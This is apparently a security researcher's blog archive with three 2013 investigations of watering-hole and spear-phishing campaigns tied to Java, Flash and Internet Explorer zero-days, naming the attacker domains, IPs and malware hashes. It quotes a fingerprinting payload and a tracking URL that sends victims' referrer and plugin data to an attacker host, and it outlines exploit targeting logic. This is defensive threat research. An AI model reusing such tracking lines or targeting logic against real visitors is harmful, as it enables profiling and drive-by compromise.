Tag Archives: Jsbug

Facebook, Apple & Twitter Watering Hole Attack Additional Informations

20/02/2013VariousApple, CVE-2013-0422, Facebook, iphonedevsdk.com, Java 0day, Jsbug, min.liveanalytics.org, Oracle, Oracle Critical Patch Update January 2013, Oracle Java 0day, Oracle Java Critical Patch Update February 2013, Twitter, Xprotectwow

Update: Some worrying information’s at the bottom of the post.

As reported by Ars Technica, the 15th February, Facebook was victim of a watering hole attack, involving a “popular mobile developer Web forum“. The attack was using a Java 0day that has been urgently patched, in Oracle Java CPU of first February, by version 7 update 11 and version 6 update 39.

Ars Technica also pointed that the attack had occur during the same timeframe as the hack that exposed cryptographically hashed passwords at Twitter. Also Twitter was encouraging, the first February, users to disable Java in their browsers. 250 000 user accounts was compromised during the Twitter breach.

Four days after the news on Facebook, the 19 February, Reuters also mentioned Apple as a victim of the Oracle Java 0day. The same “popular mobile developer Web forum” was mentioned, but with the precision that this website is a “popular iPhone mobile developer Web forum”. People briefed on the case said that hundreds of companies were affected by this Java 0day, including defense contractors.

Another interesting fact is that Apple had blacklist Java Web plug-in, a second time in a month, the 31 January, through an update to Xprotect, the Mac OS X “anti-malware” system. Surely a reaction the breach reported in the press 19 days later.

Today, Ars Technica released the name of the “popular iPhone mobile developer Web forum”, aka www.iphonedevsdk.com. Now we can gather some information’s related to this watering hole attack.

On urlQuery we can find an interesting submission, the 23 January, who reveal that some Java code was involved during the visit of the web site.

On JSUNPACK we can find another interesting submission, the 22 January, related to the www.iphonedevsdk.com. This submission reveals another website who is min.liveanalytics.org with URL “min.liveanalytics.org/cache.js?1358893681579“. The “cache.js” JavaScript was no more present at this date.

liveanalytics.org domain name was created the 8 ~~December~~ October 2012, through Public Domain Registry registrar. All contact information’s are hidden behind PrivacyProtect.org. Privacy Protection ensures that private information of domain owners are not published by replacing all the publicly visible contact details with alternate contact information.

But going back on the first urlQuery submission, we can see that www.iphonedevsdk.com website was doing three requests to min.liveanalytics.org website.

First call was to “/cache.js?1358897354865” JavaScript with a date of “Tue, 22 Jan 2013 23:21:31 GMT“. “1358897354865” return the number of milliseconds since 1970/01/01.

Second call was to “/jquery.js?ummrznjf” JavaScript with the same date.

Third call was to “empty.htm” with additional parameters who are “empty.htm?id=0&ts=X&n=fp&s=Y“. In the following screenshot you will se that X value of ts variable return the number of milliseconds since 1970/01/01. Also in the following screenshot you will see a base64-encoded string:

eyJicm93c2VyIjoiRmlyZWZveCIsInVhIjoiTW96aWxsYSU1Qy81LjAlMjAlMjhXaW5kb3dzJTNCJTIwVSUzQiUyMFdpbmRvd3MlMjBOVCUyMDYuMSUzQiUyMGVuLVVTJTNCJTIwcnYlM0ExLjkuMi4xMyUyOSUyMEdlY2tvJTVDLzIwMTAxMjAzJTIwRmlyZWZveCU1Qy8zLjYuMTMiLCJwcm9kdWN0IjoiR2Vja28iLCJwbHVnaW5zIjp7Ik1vemlsbGElMjBEZWZhdWx0JTIwUGx1Zy1pbiI6eyJpbnN0YWxsZWQiOnRydWUsInZlcnNpb24iOiIxLjAuMC4xNSJ9LCJTaG9ja3dhdmUlMjBGbGFzaCI6eyJpbnN0YWxsZWQiOnRydWUsInZlcnNpb24iOiIxMC4wLjQ1LjIifSwiSmF2YSUyOFRNJTI5JTIwUGxhdGZvcm0lMjBTRSUyMDYlMjBVMjYiOnsiaW5zdGFsbGVkIjp0cnVlLCJ2ZXJzaW9uIjoiNi4wLjI2MC4zIn0sIkphdmElMjBEZXBsb3ltZW50JTIwVG9vbGtpdCUyMDYuMC4yNjAuMyI6eyJpbnN0YWxsZWQiOnRydWUsInZlcnNpb24iOiI2LjAuMjYwLjMifSwiQWRvYmUlMjBBY3JvYmF0Ijp7Imluc3RhbGxlZCI6dHJ1ZSwidmVyc2lvbiI6IjguMC4wLjQ1NiJ9LCJNaWNyb3NvZnQlQUUlMjBEUk0iOnsiaW5zdGFsbGVkIjp0cnVlLCJ2ZXJzaW9uIjoiOS4wLjAuNDUwMyJ9LCJXaW5kb3dzJTIwTWVkaWElMjBQbGF5ZXIlMjBQbHVnLWluJTIwRHluYW1pYyUyMExpbmslMjBMaWJyYXJ5Ijp7Imluc3RhbGxlZCI6dHJ1ZSwidmVyc2lvbiI6IjMuMC4yLjYyOSJ9LCJhY3JvYmF0Ijp7Imluc3RhbGxlZCI6ZmFsc2UsInZlcnNpb24iOm51bGx9LCJmbGFzaCI6eyJpbnN0YWxsZWQiOnRydWUsInZlcnNpb24iOiIxMC4wLjQ1LjIifSwic2hvY2t3YXZlIjp7Imluc3RhbGxlZCI6ZmFsc2UsInZlcnNpb24iOm51bGx9LCJTaWx2ZXJsaWdodCUyMFBsdWctSW4iOnsiaW5zdGFsbGVkIjpmYWxzZSwidmVyc2lvbiI6bnVsbH0sIndtcCI6eyJpbnN0YWxsZWQiOmZhbHNlLCJ2ZXJzaW9uIjpudWxsfSwicmVhbCI6eyJpbnN0YWxsZWQiOmZhbHNlLCJ2ZXJzaW9uIjpudWxsfSwiamF2YSI6eyJpbnN0YWxsZWQiOnRydWUsInZlcnNpb24iOiIxLjYuMF8yNiJ9fX0=

Decoded this value is quiet interesting:

{"browser":"Firefox","ua":"Mozilla%5C/5.0%20%28Windows%3B%20U%3B%20Windows%20NT%206.1%3B%20en-US%3B%20rv%3A1.9.2.13%29%20Gecko%5C/20101203%20Firefox%5C/3.6.13","product":"Gecko","plugins":{"Mozilla%20Default%20Plug-in":{"installed":true,"version":"1.0.0.15"},"Shockwave%20Flash":{"installed":true,"version":"10.0.45.2"},"Java%28TM%29%20Platform%20SE%206%20U26":{"installed":true,"version":"6.0.260.3"},"Java%20Deployment%20Toolkit%206.0.260.3":{"installed":true,"version":"6.0.260.3"},"Adobe%20Acrobat":{"installed":true,"version":"8.0.0.456"},"Microsoft%AE%20DRM":{"installed":true,"version":"9.0.0.4503"},"Windows%20Media%20Player%20Plug-in%20Dynamic%20Link%20Library":{"installed":true,"version":"3.0.2.629"},"acrobat":{"installed":false,"version":null},"flash":{"installed":true,"version":"10.0.45.2"},"shockwave":{"installed":false,"version":null},"Silverlight%20Plug-In":{"installed":false,"version":null},"wmp":{"installed":false,"version":null},"real":{"installed":false,"version":null},"java":{"installed":true,"version":"1.6.0_26"}}}

These kinds of behaviors make me think to a statistic backend like Jsbug, but I don’t have enough information’s to validate my doubts.

By doing some additional researches on urlQuery, regarding min.liveanalytics.org, we can find a submission dating from the 23 January with one screenshot. And by doing also additional researches on urlQuery, regarding www.iphonedevsdk.com, we can observe that min.liveanalytics.org was down the 24 January.

Now let try other occurrences for www.iphonedevsdk.com or min.liveanalytics.org in search engines & search engines caches. No luck, Google and his cache are not revealing any information’s, same for Bing and other popular search engines. But WayBack Machine is providing a cached version of www.iphonedevsdk.com for the 15 January, and, and you got it Google Chrome is presenting a nice warning screen regarding min.liveanalytics.org 😉

It is confirming us that this website was hosting some malware and that www.iphonedevsdk.com was including JavaScript calls to min.liveanalytics.org the 15 January, date of the Wayback Machine capture. If you take a look at the source code of cached version of www.iphonedevsdk.com you can see this, a nice JavaScript inclusion.

So we have a timeline associated with this domain:

Domain name was registered the 8 ~~December~~ October with hidden information’s
WayBack Machine cached version of 7 December is not infected.
WayBack Machine report us that the website was infected the 15 January
urlQuery & JSUNPACK report us that the website was up the 22/23 January
urlQuery report us that the website was down the 24 January

Another interesting timeline is the Oracle Java patch and life cycle:

11 December 2012: Oracle release, through a CPU, Java SE 7 Update 10 who introduced the levels of security for applet execution.
13 January 2013: Oracle release an alert and update, Java SE 7 Update 11, for a Java 0day able to bypass the security manager.
1 February 2013: Oracle release, through an out-of-band CPU, Java SE 7 Update 13, in order to fix a 0day exploited in the wild.

As you can see, Java SE 7 Update 10, released the 11 December, has introduce the levels of security (“Medium” by default) and bunch of pop-ups, who are warning you about the trust of an applet. Java SE 7 Update 11, released the 13 January, has force the level of security from “Medium” to “High“. With the “High” setting, the user is always prompted before any unsigned Java applet or Java Web Start application is run.

What I can suppose regarding these timelines:

First, the victims of this watering hole campaign didn’t have potentially updated to the latest version.
Second, the victims of this watering hole campaign did have potentially update to JSE 7U11, but have not change the default security level from “Medium” to “High“, despite all the history in Java 0days and advises of security experts.
Third, the victims, have potentially detect the attack when JSE 7U13 was out, because the “High” security level shown them some unusual applet execution on the “popular iPhone mobile developer Web forum”.

Was this campaign a highly targeted attack? I don’t think so, why because Oracle Java has a long history of 0days, and serious companies like Twitter, Facebook and Apple should have disable Java Web Start application for non trusted applets since a while.

Updates

F-Secure has provide in a blog post 2 other domain names involved in the Facebook, Apple and Twitter compromise, this domain name are:

cloudbox-storage.com
digitalinsight-ltd.com

By investigating on these domain names, I found some worrying information’s. If these information’s are confirmed then the story is complete different and could have a bigger impact.

“digitalinsight-ltd.com” domain name was registered the 2012-03-22. By doing some Google dorks we can find these informations:

A post on Fedoraforum.org, dating from 2012-07-14 mentioning this domain name… and a user of the forum wonder why a JavaScript inclusion is done to this domain.

If you take a look on Wayback Machine, you can find a cached version from 2012-07-12, that makes your Google Chrome screaming….

And what can we find in the source code of the FedoraForum webpage!!!!! A similar JavaScript inclusion as for www.iphonedevsdk.com also calling a “cache.js” script….

We can also found a JSUNPACK submission, dating from 2012-10-22 with same source code….

And we can find some French guys complaining on a forum regarding a JavaScript inclusion to the same domain and script…. the 2012-09-29

Boeing-job.com Campaign and Adobe Flash 0days Additional Informations

10/02/2013Log Management, Reverse Engineering, Vulnerability ManagementAdobe, Adobe Flash 0day, ADP, APSB13-04, Boeing, CVE-2013-0633, CVE-2013-0634, Flash, Flash 0day, IEEE, Jsbugwow

The 7 February, Adobe has issue security bulletin APSB13-04 for Adobe Flash Player, in order address two vulnerabilities, CVE-2013-0633 and CVE-2013-0634, exploited in the wild.

CVE-2013-0633 (CVSS base score of 9.3) is exploited by tricking a Windows user to open a Microsoft Word document containing a malicious Flash content. CVE-2013-0634 (CVSS base score of 9.3) is exploited by tricking an Apple OS X user to open a web page, containing a malicious Flash content, through Firefox or Safari. But this vulnerability is also exploited by tricking a Windows user to open a Microsoft Word document containing a malicious Flash content.

Affected products are :

Adobe Flash Player 11.5.502.146 and earlier versions for Windows and Macintosh
Adobe Flash Player 11.2.202.261 and earlier versions for Linux
Adobe Flash Player 11.1.115.36 and earlier versions for Android 4.x
Adobe Flash Player 11.1.111.31 and earlier versions for Android 3.x and 2.x

These vulnerabilities were discovered exploited in the wild:

For CVE-2013-0633, by Sergey Golovanov and Alexander Polyakov of Kaspersky Labs
For CVE-2013-0634, by Shadowserver Foundation, MITRE and Lockheed Martin CIRT

As described by Alienvault Labs and by FireEye, the vulnerabilities were exploited through spear phishing email messages targeting several industries including the aerospace one. One of the e-email attached file was using the 2013 IEEE Aerospace Conference schedule, and another reported sample was related to online payroll system of ADP US company.

Detailed analysis have been provided by Alienvault Labs, FireEye and Malware Must Die. All the analysis reported the following domain name ieee[.]boeing-job[.]com as C&C server.

boeing-job[.]com domain name was registered the 22 January 2013, through GoDaddy, with fake registration information’s.

The 5 February http://ieee[.]boeing-job[.]com sub domain was pointing to IP 108.62.10.13, AS15003 in US.
The 6 February http://boeing-job[.]com was pointing to IP 184.168.221.37, AS26496 in US, parking web page of GoDaddy.

But, they’re is always a but, if you take a look in Google you can find the IP address who was used for www.boeing-job[.]com.

This sub domain was pointing to a legit website http://www[.]grupo-gestion[.]com[.]ar, IP 200.123.160.138, AS16814 in Argentina.

By searching on urlQuery, you can find a submission, the 5 February, with this IP. And suprise this submission is regarding a “record.doc” document located in a “/adp/” directory. So we have the ADP word document. Also urlQuery is reporting an alert “FILE-OFFICE Microsoft Office Word with embedded Flash file transfer” regarding the “record.doc” document.

Now let analyze further this server used in the spear phishing campaign. By doing some researches on Google, you will quickly find that weak tools are present on the server and that these tools are freely accessible from Internet…. After some further analysis, we can find that an old default XAMPP installation is present on this server, and that bad guys have use this weakness in order to install PHP backdoor. The PHP backdoor were also not protected giving full access to the server.

The related “/adp/” directory is empty of the “record.doc” file and most of the server seem to have been cleaned.

But, I discovered an interesting “/jobs/” directory containing a well-known tool, JSbug statistics backend, used in previous drive-by attacks campaign. The contents of the backend allow us to see that a campaign was started since the 22 January by using www.boeing-job[.]com domain name.

Also, what is interesting, is that the XAMPP Apache log files were accessible from Internet, without restrictions.

By doing some log analysis we can find the following information’s:

“record.doc” file size was 563200 bytes.
First, 200 Apache return code, access to “/adp/record.doc” file was recorded the 05/Feb/2013:07:12:24 -0300.
“/adp/record.doc” file was removed from the server around the 08/Feb/2013 09:23:24 -0300.
Around 300 accesses on the “record.doc” files were done during this timeframe. 42 the 5 February, 7 the 6 February, 89 the 7 February and 161 the 8 February.
A PHP backdoor was present on the server since the 05/Nov/2012 and used multiple times.
A second PHP backdoor was uploaded on the server the 8 February, at 08/Feb/2013 02:25:25 -0300 (surely used to remove the record.doc file). Why not using the first PHP backdoor ? Surely cause you are not the guy who has deposit the “record.doc” file and you don’t know the existence of the first PHP backdoor.
The server was scanned during two days with Acunetix, starting the 02/Feb/2013 18:25:45 -0300

Additional analysis of the discovered “/jobs/” and JSbug backend directory provide the following interesting information’s:

The “/jobs/” directory was first seen the 22/Jan/2013 06:12:44 -0300
Installation of JSBug backend was done the 22/Jan/2013 06:13:16 -0300
Additional files were installed in the “/jobs/” directory like “img/jquery-1.8.3.min.js“, “img/logo.gif“, “check.php”, “download.htm“, “download.php“, “img/download.css“, “img/ff_step1.png“, “img/ie_step3.png“, “img/ff_step2.png” and “NProtect.exe“. “check.php“, “download.htm“, “NProtect.exe” and “download.php” are no more present on the server.

By analysing the file remaining on the server, and used in a previous attack, who has start the 22 January, we can see the following files who reveal that a spear phishing campaign was done against Boeing employees, in order to trick them to install the “NProtect.exe” malware.

logo file founded on the server

Forgotten Watering Hole Attacks On Space Foundation and RSF Chinese

06/01/2013VariousAPT, CVE-2012-4969, IE 0Day, Internet Explorer, Internet Explorer 0day, Jsbug, Microsoft, MS12-063, MSA-2757760, RSF Chinese, Space Foundation, watering hole attackswow

As I announced you on Twitter, this blog post will present targeted attacks who have start mid-September and wasn’t discussed or presented in public. These attacks have end around mid-October.

My next post will cover the targeted attacks against http://t.co/Cy1hN4oY and http://t.co/71oggmv4 http://t.co/70cSitaN

— Eric Romang (@eromang) December 29, 2012

A web site “arpeggio8.com“, hosted on 205.186.179.195 in US, was compromised in order to be used in a watering hole attack against Space Foundation and RSF Chinese.

The Space Foundation is a nonprofit organization that supports the global space industry through information and education programs. It is a resource for the entire space community – industry, national security organizations, civil space agencies, private space companies and the military around the world. It also supports educators, students and journalists with information and education programs.

Reporters Without Borders (RWB) is a French-based international non-governmental organization that advocates freedom of the press and freedom of information. Reporters Without Borders is also known as RSF, and RSF Chinese is a dedicated web site for Chinese news in Chinese language.

The watering hole attack was done through different files and by a dedicated centralized backend named “Jsbug“.

Description of the watering hole attack

Space Foundation and RSF Chinese web sites had they’re code a malicious javascript inclusion calling “http://www.arpeggio8.com/count/count.php“.

“count.php” script provide javascript content who check the presence of “popad” cookie and if the browser is Internet Explorer 6, 7 or 8. This script also load “count2.php” who is used for another purposes, we will discuss about this file later. If all the conditions are in place “rsf.php” file is loaded with parameter “id=1024“.

“rsf.php” script only provide content if parameter “id=1024” is present. This script load through an iframe call “ie.html” file. “rsf.php” is the equivalent of “exploit.html” in the CVE-2012-4969 0day found in mid-September.

“ie.html” file is the equivalent of “Protect.html” in the CVE-2012-4969 0day found in mid-September, but here no Flash file is involved to do the heap spray. “ie.html” file is containing a packed javascript code how will do the heap spray and trigger the vulnerability. Pastebin encoded version and decoded version.

The javascript is decoded though the “decode” function and the key “0xe1” for decoding is provided as argument to the function. The javascript “int_to_hex” function will check if Oracle Java 6 is present, if operating system is Windows 7 or XP and if Internet Explorer 9 is used. The script will also gather the browser language.

If Windows XP is used, and language is “en-us“, “zh-cn“, “zh-tw“, “ko” or “ja” (hum hum CVE-2012-4792…), then the vulnerability is triggered.

If Windows 7 is used and Java 6 is installed, then the vulnerability is triggered. A spray base value is provided in the code for Internet Explorer 9 , but “count.php” has filter the targeted browsers.

Once the vulnerability is triggered, “917.exe” (6b4aa596e5a4208371942cdb0e04dfd9) file is installed. This malware is known as “Trojan-Dropper.Win32.Dapato.bscc“.

A interesting point regarding “ie.html” file, this file was dating of 19 September.

Some facts regarding CVE-2012-4969 :

Vulnerability was discovered exploited in the wild, with a Flash variant, the 14 September.
Metasploit PoC was provided the 17 September.
Microsoft Security Advisory MSA-2757760 was published the 17 September.
Microsoft patch was provided in MS12-063 the 21 September.

But you will see, through the next chapter, that the attack has began the 18 September.

“count2.php” script and Jsbug backend usage

“count2.php” script is loaded in any cases for statistics purposes. This script will create and check two cookies “stat_cookie” and “stat_time“, gather version of Adobe Flash, presence of Oracle Java and HTTP referrer. All these informations are send back to the same script with parameters.

http://arpeggio8.com/count/count2.php?n=’+Math.random()+’&action=jpg&stat_refer=’+escape(location.href)+’&stat_flash=’+escape(flashVer)+’&stat_java=’+escape(stat_java)+’&stat_cookie=’+stat_cookie+’&stat_time=’+stat_time;

All these informations are stored in a backend named “Jsbug“. This backend is quiet simple, only three menus “Client statistics“, “Report” and “Create Exploit“. The backend doesn’t have any external css or images files, and is typically composed of minimum three PHP scripts.

Login page of the backend is also quiet simplistic, no page title, no text in the page, and this logic of simplicity make it harder to discover through Google searches.

“Client statistics” menu will direct you on a recap page, of all visitors who have load “count2.php“, with OS type, browser type and version, version of Adobe Flash, version of Oracle Java, IP address, HTTP referer, number of visits, first visite and last visite date.

In the case of the Space Foundation watering hole attack, the first date are beginning 18 September.

In the case of RSF Chinese watering hole attack, the first date are beginning 19 September.

These attacks have ended around mid-October.

“Report” menu will direct you on a statistics page, of all visitors.

“Create Exploit” menu is a page how will help the attackers to generate they’re javascript inclusion code.

Eric Romang Blog

aka wow on ZATAZ.com